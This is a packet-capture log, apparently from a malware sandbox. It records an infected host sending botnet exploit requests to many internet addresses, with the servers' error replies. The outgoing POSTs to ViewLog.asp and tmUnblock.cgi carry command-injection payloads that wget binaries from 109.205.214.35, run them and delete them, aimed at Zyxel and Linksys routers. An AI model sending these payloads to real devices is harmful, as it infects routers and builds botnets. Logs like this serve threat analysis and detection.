Mar 21, 2024 05:18:44.378607988 CET	517	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:43 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 56 65 72 62 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 76 65 72 62 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Verb</h2><hr><p>HTTP Error 400. The request verb is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.23	42312	83.145.32.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.114218950 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.295312881 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:43 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1122	192.168.2.23	51336	82.66.82.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.271140099 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1123	192.168.2.23	46404	83.56.25.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.438618898 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.683785915 CET	1286	IN	HTTP/1.1 404 Not Found X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Type: text/html Content-Length: 1140 Date: Thu, 21 Mar 2024 04:18:43 GMT Server: DWS Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 09 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 4f 4e 54 45 4e 54 2d 54 59 50 45 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 62 69 67 35 22 3e 0a 09 3c 54 49 54 4c 45 3e 3c 2f 54 49 54 4c 45 3e 0a 09 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 43 4f 4e 54 45 4e 54 3d 22 4f 70 65 6e 4f 66 66 69 63 65 2e 6f 72 67 20 32 2e 34 20 20 28 57 69 6e 33 32 29 22 3e 0a 09 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 43 52 45 41 54 45 44 22 20 43 4f 4e 54 45 4e 54 3d 22 32 30 31 30 30 34 33 30 3b 31 31 34 34 31 37 37 33 22 3e 0a 09 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 43 48 41 4e 47 45 44 22 20 43 4f 4e 54 45 4e 54 3d 22 32 30 31 30 30 35 30 34 3b 31 36 30 37 34 38 39 38 22 3e 0a 09 3c 53 54 59 4c 45 20 54 59 50 45 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 3c 21 2d 2d 0a 09 09 40 70 61 67 65 20 7b 20 73 69 7a 65 3a 20 32 31 63 6d 20 32 39 2e 37 63 6d 3b 20 6d 61 72 67 69 6e 3a 20 32 63 6d 20 7d 0a 09 09 50 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 2e 32 31 63 6d 20 7d 0a 09 2d 2d 3e 0a 09 3c 2f 53 54 59 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 4c 41 4e 47 3d 22 7a 68 2d 54 57 22 20 44 49 52 3d 22 4c 54 52 22 3e 0a 3c 48 31 3e 3c 46 4f 4e 54 20 43 4f 4c 4f 52 3d 22 23 66 66 36 36 33 33 22 3e 3c 46 4f 4e 54 20 46 41 43 45 3d 22 54 68 6f 72 6e 64 61 6c 65 2c 20 73 65 72 69 66 22 3e 3c 53 50 41 4e 20 4c 41 4e 47 3d 22 65 6e 2d 55 53 22 3e 49 6e 73 74 72 75 63 74 69 6f 6e 3c 2f 53 50 41 4e 3e 3c 2f 46 4f 4e 54 3e 3c 2f 46 4f 4e 54 3e 3c 2f 48 31 3e 0a 3c 50 3e 3c 46 4f 4e 54 20 46 41 43 45 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 6e 2c 20 73 65 72 69 66 22 3e 3c 53 50 41 4e 20 4c 41 4e 47 3d 22 65 6e 2d 55 53 22 3e 3c 46 4f 4e 54 20 43 4f 4c 4f 52 3d 22 23 30 30 30 30 30 30 22 3e 3c 46 4f 4e 54 20 46 41 43 45 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 6e 2c 20 73 65 72 69 66 22 3e 3c 53 50 41 4e 20 4c 41 4e 47 3d 22 65 6e 2d 55 53 22 3e 3c 42 3e 46 69 6c 65 20 0a 6e 6f 74 20 66 6f 75 6e 64 21 20 50 6c 65 61 73 65 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 64 72 61 79 74 65 6b 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 3f 6f 70 74 69 6f 6e 3d 63 6f 6d 5f 6b 32 26 76 69 65 77 3d 69 74 65 6d 6c 69 73 74 26 74 61 73 6b 3d 63 61 74 65 67 6f 72 79 26 69 64 3d 32 31 30 26 49 74 65 6d 69 64 3d 32 39 33 26 6c 61 6e 67 3d 65 6e 22 20 54 41 52 47 45 54 3d 22 5f 62 6c 61 6e 6b 22 3e 76 69 73 69 74 0a 6f 75 72 20 73 75 70 70 6f 72 74 20 73 69 74 65 3c 2f 41 3e 20 6f 72 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 64 72 61 79 74 65 6b 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 3f 6f 70 74 69 6f 6e 3d 63 6f 6d 5f 6a 75 6d 69 26 76 69 65 77 3d 61 70 70 6c 69 63 61 74 69 6f 6e 26 66 69 6c 65 69 64 3d 32 30 26 49 74 65 6d 69 64 3d 35 39 32 26 6c 61 6e 67 3d 65 6e 22 3e 20 63 6f 6e 74 61 63 74 20 75 73 3c 2f 41 3e 20 69 66 20 79 6f 75 20 68 61 76 65 20 61 6e 79 20 71 75 65 73 74 69 6f 6e 73 2e 3c 2f 42 3e 3c 2f 53 50 41 4e 3e 3c 2f 46 4f 4e 54 3e 3c 2f 46 4f 4e 54 3e 3c 2f 53 50 41 4e 3e 3c 2f 46 4f 4e 54 3e 3c 2f 50 3e 0a 3c 50 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=big5"><TITLE></TITLE><META NAME="GENERATOR" CONTENT="OpenOffice.org 2.4 (Win32)"><META NAME="CREATED" CONTENT="20100430;11441773"><META NAME="CHANGED" CONTENT="20100504;16074898"><STYLE TYPE="text/css">...@page { size: 21cm 29.7cm; margin: 2cm }P { margin-bottom: 0.21cm }--></STYLE></HEAD><BODY LANG="zh-TW" DIR="LTR"><H1><FONT COLOR="#ff6633"><FONT FACE="Thorndale, serif"><SPAN LANG="en-US">Instruction</SPAN></FONT></FONT></H1><P><FONT FACE="Times New Roman, serif"><SPAN LANG="en-US"><FONT COLOR="#000000"><FONT FACE="Times New Roman, serif"><SPAN LANG="en-US"><B>File not found! Please <A HREF="http://www.draytek.com/index.php?option=com_k2&view=itemlist&task=category&id=210&Itemid=293&lang=en" TARGET="_blank">visitour support site</A> or <A HREF="http://www.draytek.com/index.php?option=com_jumi&view=application&fileid=20&Itemid=592&lang=en"> contact us</A> if you have any questions.</B></SPAN></FONT></FONT></SPAN></FONT></P><P
Mar 21, 2024 05:18:44.683798075 CET	31	IN	Data Raw: 3e 3c 42 52 3e 3c 42 52 3e 0a 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: ><BR><BR></P></BODY></HTML>
Mar 21, 2024 05:18:44.683970928 CET	492	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:18:43 GMT Server: DWS Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1124	192.168.2.23	36736	192.126.216.53	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.500907898 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:45.012634993 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:45.494987011 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:46.450989008 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:46.605541945 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:16:37 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3444 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 